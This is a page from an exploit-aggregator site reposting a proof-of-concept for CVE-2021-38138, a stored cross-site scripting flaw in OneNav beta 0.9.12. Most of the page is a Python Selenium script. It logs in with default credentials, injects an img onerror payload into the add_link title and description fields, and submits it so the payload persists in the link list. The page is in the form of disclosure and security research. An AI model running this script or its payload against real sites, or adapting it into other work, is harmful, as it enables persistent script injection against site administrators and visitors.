Advertisement






OneNav Beta 0.9.12 Cross Site Scripting

CVE Category Price Severity
Author Risk Exploitation Type Date
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080029

Below is a copy:

OneNav Beta 0.9.12 Cross Site Scripting
# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r
# Date: 08.06.2021
# Vendor: https://www.xiaoz.me/
# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12
# CVE: CVE-2021-38138

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: nu11secur1ty & g3ck0dr1v3r
# CVE-2021-38138

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://192.168.1.120/index.php?c=login"

#enter your login username
username="xiaoz"

#enter your login password
password="xiaoz.me"

#enter the element for username input field
element_for_username="user"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="layui-btn"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D
time.sleep(3)
browser.get(("http://192.168.1.120/index.php?c=admin&page=add_link"))
time.sleep(3)
browser.execute_script("document.querySelector('[name=\"url\"]').value = '
http://192.168.1.120/index.php?c=admin&page=add_link'")
time.sleep(3)
browser.execute_script("document.querySelector('[name=\"title\"]').value =
'</span><img src=
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
<a href=http://example.com/> onerror=alert(1) /><span>'")

#button1
browser.execute_script("document.querySelector('[class=\"layui-edge\"]').click()")
time.sleep(1)

# button2 using $ because querySelector cannot parse dd selector
browser.execute_script("$('dd[lay-value=19]').click()")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"description\"]').value
= '</span><img src=
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
<a href=http://example.com/> onerror=alert(1) /><span>'")

#submit button3
browser.execute_script("document.querySelector('[class=\"layui-btn\"]').click()")
time.sleep(1)
browser.maximize_window()
browser.get(("http://192.168.1.120/index.php?c=admin&page=link_list"))

print("payload is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")


----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138
# Proof: https://streamable.com/ubtzio

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum